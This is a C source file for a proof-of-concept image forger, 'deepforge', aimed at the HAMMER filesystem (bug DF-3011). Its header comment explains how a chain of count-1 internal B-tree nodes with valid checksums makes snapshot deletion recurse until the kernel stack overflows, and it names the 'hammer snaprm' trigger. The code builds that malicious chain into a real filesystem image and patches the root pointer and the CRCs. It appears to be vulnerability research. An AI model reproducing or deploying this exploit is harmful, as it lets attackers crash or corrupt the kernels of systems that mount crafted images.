/*
 * deepforge.c - DF-3011 PoC image forger.
 *
 * DF-3011 root cause: btree_remove() (sys/vfs/hammer/hammer_btree.c:1938)
 * recurses once per single-element internal-node level
 * (hammer_btree.c:1979 `parent->ondisk->count == 1` -> :2007
 * `error = btree_remove(cursor, ndelete);`).  Nothing in HAMMER bounds
 * B-tree depth: btree_search() pushdown (hammer_cursor_down) and the
 * cursor parent walk (hammer_load_cursor_parent/hammer_btree_get_parent)
 * are iterative and unbounded.  A crafted image containing a chain of
 * DEPTH internal nodes, each with count==1 / type 'I' / *valid CRC32C*,
 * above a leaf holding a single record makes any physical record deletion
 * recurse DEPTH frames deep on the caller's 16KB kernel stack
 * (LWKT_THREAD_STACK = UPAGES*PAGE_SIZE = 4*4096, kern_fork.c:818),
 * overflowing it into adjacent kernel_map memory.  All counts/types are
 * VALID, so the DF-0776 count/type validation does not stop it.
 *
 * This forger grafts such a chain into an existing HAMMER image produced
 * by newfs_hammer(8):
 *
 *   new vol0_btree_root R2 (internal, count=2)
 *     elms[0]: left bound = original root's left bound,
 *              subtree -> ORIGINAL b-tree (kept intact so the mount and
 *              the root-inode lookup still work)
 *     elms[1]: separator S = (loc=1, obj=1, rec=SNAPSHOT, key=MIN_KEY,
 *              ctid=1), subtree -> top of the crafted chain C_N
 *     elms[2]: right boundary RB (= root_btree_end values,
 *              hammer_vfsops.c:429-437)
 *   chain C_1..C_N (internal, count=1, elms[0].base=S, elms[1].base=RB),
 *     C_1 -> leaf, C_n -> C_(n-1), C_N -> R2
 *   leaf (count=1) holding one SNAPSHOT record
 *     (loc=1, obj_id=HAMMER_OBJID_ROOT, rec_type=HAMMER_RECTYPE_SNAPSHOT,
 *      key=<tid>, create_tid=2, delete_tid=0, btype='R',
 *      data_offset=0, data_len=0)
 *
 * Trigger: mount the image and run `hammer snaprm <mnt> <tid>`
 * (HAMMERIOC_DEL_SNAPSHOT -> hammer_ioc_del_snapshot, hammer_ioctl.c:833
 * -> hammer_delete_at_cursor(HAMMER_DELETE_DESTROY) -> hammer_btree_delete
 * -> leaf empty -> btree_remove -> depth-N recursion -> kstack overflow).
 *
 * Node placement: immediately after the last existing B-tree node, inside
 * the same big-block (so the on-unwind frees stay inside a zone-8-owned
 * layer2 entry; small control depths unwind cleanly).
 *
 * Build (in guest): cc -O -o deepforge deepforge.c icrc32.c \
 *                     -I/usr/src/sys -I/usr/src/sys/vfs/hammer
 * Usage: deepforge <img> <depth> [snap_tid_hex]
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>
#include <fcntl.h>

#include <sys/param.h>
#include <sys/types.h>
#include <stdint.h>
#include <stddef.h>
#include <hammer_disk.h>
#include <hammer_btree.h>

extern uint32_t iscsi_crc32(const void *buf, size_t size);

#define NODE_SIZE   ((int)sizeof(struct hammer_node_ondisk))
#define ELM_SIZE    ((int)sizeof(union hammer_btree_elm))

static uint32_t plain_crc32(const void *buf, size_t len); /* zlib-style */

static uint32_t
datacrc(uint32_t version, const void *buf, size_t len)
{
	if (version >= HAMMER_VOL_VERSION_SEVEN)
		return (iscsi_crc32(buf, len));
	return (plain_crc32(buf, len));
}

static void
node_crc(uint32_t version, struct hammer_node_ondisk *node)
{
	node->crc = 0;
	node->crc = datacrc(version, (const uint8_t *)node + sizeof(node->crc),
			    NODE_SIZE - sizeof(node->crc));
}

static int
node_crc_ok(uint32_t version, struct hammer_node_ondisk *node)
{
	uint32_t save = node->crc;
	uint32_t calc;

	node->crc = 0;
	calc = datacrc(version, (const uint8_t *)node + sizeof(node->crc),
		       NODE_SIZE - sizeof(node->crc));
	node->crc = save;
	return (save == calc);
}

static hammer_off_t
z8(uint32_t version __unused, int64_t vol_buf_beg, off_t abs)
{
	return (HAMMER_ZONE_ENCODE(HAMMER_ZONE_BTREE_INDEX,
				   abs - vol_buf_beg));
}

int
main(int argc, char **argv)
{
	const char *path;
	int depth, fd;
	uint64_t snap_tid = 0x4000000000000000ULL;
	uint8_t hdr[4096], node[NODE_SIZE];
	uint8_t lb[40], rb[40];		/* left/right bound base elms */
	uint64_t sig;
	uint32_t version;
	int64_t vol_buf_beg, vol_buf_end;
	hammer_off_t orig_root_z8, orig_root_raw;
	uint8_t orig_type;
	hammer_off_t orig_mirror = 0;
	off_t last_node = 0, place, p;
	int i, ncopy = 0;
	struct hammer_node_ondisk *nd = (struct hammer_node_ondisk *)node;
	struct hammer_base_elm *S;
	hammer_off_t r2_z8, chain_z8, leaf_z8, *chain_cache;

	if (argc < 3) {
		fprintf(stderr, "usage: deepforge <img> <depth> [tid]\n");
		return (1);
	}
	path = argv[1];
	depth = atoi(argv[2]);
	if (argc > 3)
		snap_tid = strtoull(argv[3], NULL, 0);
	if (depth < 1 || depth > 4000) {
		fprintf(stderr, "depth %d out of range\n", depth);
		return (1);
	}

	fd = open(path, O_RDWR);
	if (fd < 0) { perror("open"); return (1); }

	/*
	 * Volume header @0
	 */
	if (pread(fd, hdr, sizeof(hdr), 0) != sizeof(hdr)) { perror("pread hdr"); return (1); }
	memcpy(&sig, hdr, 8);
	if (sig != HAMMER_FSBUF_VOLUME) {
		fprintf(stderr, "not a hammer volume (sig=%016jx)\n", (uintmax_t)sig);
		return (1);
	}
	memcpy(&vol_buf_beg, hdr + 24, 8);
	memcpy(&vol_buf_end, hdr + 32, 8);
	memcpy(&version,   hdr + 152, 4);
	memcpy(&orig_root_z8, hdr + offsetof(struct hammer_volume_ondisk,
					     vol0_btree_root), 8);
	orig_root_raw = vol_buf_beg + (orig_root_z8 & HAMMER_OFF_SHORT_MASK);
	printf("version=%u buf_beg=%jd buf_end=%jd orig_root=%016jx (raw %jd)\n",
	       version, (intmax_t)vol_buf_beg, (intmax_t)vol_buf_end,
	       (uintmax_t)orig_root_z8, (intmax_t)orig_root_raw);

	/*
	 * Original root: take its left bound; if internal, its right
	 * boundary, else synthesize root_btree_end (hammer_vfsops.c:429).
	 */
	if (pread(fd, node, NODE_SIZE, orig_root_raw) != NODE_SIZE) { perror("pread root"); return (1); }
	if (!node_crc_ok(version, nd)) {
		fprintf(stderr, "orig root CRC bad\n");
		return (1);
	}
	memcpy(lb, node + 64, 40);			/* elms[0].base */
	if (nd->type == HAMMER_BTREE_TYPE_INTERNAL) {
		memcpy(rb, node + 64 + ELM_SIZE * nd->count, 40);
	} else {
		struct hammer_base_elm *e = (struct hammer_base_elm *)rb;
		memset(rb, 0, 40);
		e->localization = 0xFFFFFFFFU;		/* MAX_ONDISK_LOCALIZATION */
		e->obj_id       = HAMMER_MAX_OBJID;
		e->key          = HAMMER_MAX_KEY;
		e->create_tid   = HAMMER_MAX_TID;
		e->delete_tid   = 0;
		e->rec_type     = HAMMER_RECTYPE_MAX;
		e->obj_type     = 0;
		e->btype        = HAMMER_BTREE_TYPE_NONE;
	}
	printf("orig root: type=%c count=%d\n", nd->type, nd->count);
	orig_type = nd->type;
	orig_mirror = nd->mirror_tid;

	/*
	 * Find the last B-tree node in the image (full scan with a cheap
	 * 64-byte header prefilter; sparse holes read as zeros instantly).
	 * A fresh mkfs image keeps all btree nodes near the start of the
	 * btree zone, wherever newfs put it.
	 */
	{
		off_t imgsz = lseek(fd, 0, SEEK_END);
		for (p = 0; p + NODE_SIZE <= imgsz; p += 4096) {
			int32_t cnt;
			uint8_t ty;

			if (pread(fd, node, 64, p) != 64)
				continue;
			memcpy(&cnt, node + 16, 4);
			ty = node[20];
			if (ty != HAMMER_BTREE_TYPE_INTERNAL &&
			    ty != HAMMER_BTREE_TYPE_LEAF)
				continue;
			if (cnt < 0 || cnt > HAMMER_BTREE_LEAF_ELMS)
				continue;
			if (pread(fd, node, NODE_SIZE, p) != NODE_SIZE)
				continue;
			if (!node_crc_ok(version, nd))
				continue;
			if (p > last_node)
				last_node = p;
		}
	}
	if (last_node == 0) {
		fprintf(stderr, "no btree nodes found?!\n");
		return (1);
	}
	printf("last btree node @ %jd (0x%jx)\n", (intmax_t)last_node,
	       (uintmax_t)last_node);

	/*
	 * Placement: at the B-tree zone blockmap's append point
	 * (vol0_blockmap[8].next_offset -- the exact spot where the kernel
	 * would allocate the next btree node), so on-unwind frees are
	 * accounting-clean inside a zone-8-owned layer2 entry.
	 */
	{
		struct hammer_blockmap btmap;
		off_t bb_end, need;
		off_t next_z8_raw;

		memcpy(&btmap, hdr + offsetof(struct hammer_volume_ondisk,
					      vol0_blockmap) +
		       HAMMER_ZONE_BTREE_INDEX * sizeof(btmap),
		       sizeof(btmap));
		next_z8_raw = vol_buf_beg +
			(btmap.next_offset & HAMMER_OFF_SHORT_MASK);
		printf("btree blockmap next_offset=%016jx (raw %jd)\n",
		       (uintmax_t)btmap.next_offset, (intmax_t)next_z8_raw);
		place = (next_z8_raw + 4095) & ~4095LL;
		bb_end = (place | (HAMMER_BIGBLOCK_SIZE - 1)) + 1;
		need = (off_t)(depth + 2) * NODE_SIZE;
		if (place + need > bb_end) {
			fprintf(stderr,
			    "need %jd bytes, only %jd left in bigblock\n",
			    (intmax_t)need, (intmax_t)(bb_end - place));
			return (1);
		}
		/* verify the region is zero */
		uint8_t z[4096];
		memset(z, 0, sizeof(z));
		for (p = place; p < place + need; p += 4096) {
			if (pread(fd, node, NODE_SIZE, p) != NODE_SIZE) { perror("pread place"); return (1); }
			if (memcmp(node, z, 4096) != 0) {
				fprintf(stderr, "placement region not zero @ %jd\n", (intmax_t)p);
				return (1);
			}
		}
	}

	chain_cache = calloc(depth, sizeof(*chain_cache));

	/*
	 * Separator S between the original tree and the snapshot chain.
	 */
	uint8_t sep[64];
	memset(sep, 0, sizeof(sep));
	S = (struct hammer_base_elm *)sep;
	S->localization = 0x00000001;			/* PFS0 | INODE */
	S->obj_id       = HAMMER_OBJID_ROOT;
	S->key          = HAMMER_MIN_KEY;
	S->create_tid   = 1;
	S->delete_tid   = 0;
	S->rec_type     = HAMMER_RECTYPE_SNAPSHOT;
	S->obj_type     = 0;
	S->btype        = HAMMER_BTREE_TYPE_NONE;

	/*
	 * Offsets: R2 at place, chain C1..CN after it, leaf last.
	 * C1 is the leaf's parent; CN is referenced by R2.
	 */
	off_t r2_abs   = place;
	off_t c_abs    = place + NODE_SIZE;		/* C1 .. CN contiguous */
	off_t leaf_abs = place + (off_t)(depth + 1) * NODE_SIZE;

	r2_z8   = z8(version, vol_buf_beg, r2_abs);
	leaf_z8 = z8(version, vol_buf_beg, leaf_abs);
	for (i = 0; i < depth; ++i)
		chain_cache[i] = z8(version, vol_buf_beg,
				    c_abs + (off_t)i * NODE_SIZE);
	/* chain_cache[0]=C1 (leaf's parent) ... chain_cache[depth-1]=CN */

	/*
	 * Leaf: single SNAPSHOT record.
	 */
	memset(node, 0, NODE_SIZE);
	nd->count = 1;
	nd->type = HAMMER_BTREE_TYPE_LEAF;
	nd->parent = chain_cache[0];
	nd->mirror_tid = 2;
	{
		struct hammer_btree_leaf_elm *lf = &nd->elms[0].leaf;
		lf->base.localization = 0x00000001;
		lf->base.obj_id       = HAMMER_OBJID_ROOT;
		lf->base.key          = (int64_t)snap_tid;
		lf->base.create_tid   = 2;
		lf->base.delete_tid   = 0;
		lf->base.rec_type     = HAMMER_RECTYPE_SNAPSHOT;
		lf->base.obj_type     = 0;
		lf->base.btype        = HAMMER_BTREE_TYPE_RECORD;
		lf->create_ts = 0;
		lf->delete_ts = 0;
		lf->data_offset = 0;
		lf->data_len = 0;
		lf->data_crc = 0;
	}
	node_crc(version, nd);
	if (pwrite(fd, node, NODE_SIZE, leaf_abs) != NODE_SIZE) { perror("pwrite leaf"); return (1); }

	/*
	 * Chain nodes C1..CN: count=1, bounds [S, RB).
	 */
	for (i = 0; i < depth; ++i) {
		memset(node, 0, NODE_SIZE);
		nd->count = 1;
		nd->type = HAMMER_BTREE_TYPE_INTERNAL;
		nd->parent = (i == depth - 1) ? r2_z8 : chain_cache[i + 1];
		nd->mirror_tid = 0;
		memcpy(&nd->elms[0].base, sep, 40);
		nd->elms[0].base.btype =
			(i == 0) ? HAMMER_BTREE_TYPE_LEAF
				 : HAMMER_BTREE_TYPE_INTERNAL;
		nd->elms[0].internal.mirror_tid = 0;
		nd->elms[0].internal.subtree_offset =
			(i == 0) ? leaf_z8 : chain_cache[i - 1];
		memcpy(&nd->elms[1].base, rb, 40);
		node_crc(version, nd);
		if (pwrite(fd, node, NODE_SIZE, c_abs + (off_t)i * NODE_SIZE) != NODE_SIZE) {
			perror("pwrite chain"); return (1);
		}
	}

	/*
	 * New root R2 (count=2): [orig-tree | chain].
	 * elms[0] keeps the original left bound and points at the original
	 * root (subtree btype = original root's node type); elms[1] is the
	 * separator S pointing at the chain top; elms[2] is RB.
	 */
	memset(node, 0, NODE_SIZE);
	nd->count = 2;
	nd->type = HAMMER_BTREE_TYPE_INTERNAL;
	nd->parent = 0;
	nd->mirror_tid = 0;
	memcpy(&nd->elms[0].base, lb, 40);
	nd->elms[0].base.btype = orig_type;
	nd->elms[0].internal.mirror_tid = orig_mirror;
	nd->elms[0].internal.subtree_offset = orig_root_z8;
	memcpy(&nd->elms[1].base, sep, 40);
	nd->elms[1].base.btype = HAMMER_BTREE_TYPE_INTERNAL;
	nd->elms[1].internal.mirror_tid = 0;
	nd->elms[1].internal.subtree_offset = chain_cache[depth - 1];
	memcpy(&nd->elms[2].base, rb, 40);
	node_crc(version, nd);
	if (pwrite(fd, node, NODE_SIZE, r2_abs) != NODE_SIZE) { perror("pwrite r2"); return (1); }

	/*
	 * Patch original root's parent -> R2.
	 */
	if (pread(fd, node, NODE_SIZE, orig_root_raw) != NODE_SIZE) { perror("pread root2"); return (1); }
	nd->parent = r2_z8;
	node_crc(version, nd);
	if (pwrite(fd, node, NODE_SIZE, orig_root_raw) != NODE_SIZE) { perror("pwrite root2"); return (1); }

	/*
	 * Patch vol0_btree_root in the volume header (this image has a
	 * single header copy at offset 0 -- verified with a full-image
	 * signature scan; see README), fixing its CRC.
	 */
	{
		uint32_t crc;
		size_t c1 = HAMMER_VOL_CRCSIZE1;
		size_t c2 = HAMMER_VOL_CRCSIZE2;

		if (pread(fd, hdr, sizeof(hdr), 0) != sizeof(hdr)) { perror("pread vhdr"); return (1); }
		memcpy(hdr + offsetof(struct hammer_volume_ondisk,
				      vol0_btree_root), &r2_z8, 8);
		crc = datacrc(version, hdr, c1) ^
		      datacrc(version, hdr + c1 + 4, c2);
		memcpy(hdr + c1, &crc, 4);
		if (pwrite(fd, hdr, sizeof(hdr), 0) != sizeof(hdr)) { perror("pwrite vhdr"); return (1); }
		++ncopy;
	}

	printf("FORGED depth=%d tid=%016jx r2=%016jx (raw %jd) leaf=%016jx (raw %jd) vhdr_copies=%d\n",
	       depth, (uintmax_t)snap_tid, (uintmax_t)r2_z8, (intmax_t)r2_abs,
	       (uintmax_t)leaf_z8, (intmax_t)leaf_abs, ncopy);
	printf("PLACE_RAW_MIN=%jd PLACE_RAW_MAX=%jd\n",
	       (intmax_t)place, (intmax_t)(leaf_abs + NODE_SIZE));
	free(chain_cache);
	close(fd);
	return (0);
}

/* ------------------------------------------------------------------ */
/* plain crc32 (zlib) for version < 7 images */

static uint32_t crc32_tab[256];
static int crc32_tab_init;

static uint32_t
plain_crc32(const void *buf, size_t len)
{
	const uint8_t *p = buf;
	uint32_t c = 0xFFFFFFFF;
	size_t n;

	if (!crc32_tab_init) {
		int i, k;
		uint32_t v;
		for (i = 0; i < 256; ++i) {
			v = i;
			for (k = 0; k < 8; ++k)
				v = (v >> 1) ^ (0xEDB88320u & (uint32_t)(-(int32_t)(v & 1)));
			crc32_tab[i] = v;
		}
		crc32_tab_init = 1;
	}
	for (n = 0; n < len; ++n)
		c = crc32_tab[(c ^ p[n]) & 0xFF] ^ (c >> 8);
	return (c ^ 0xFFFFFFFF);
}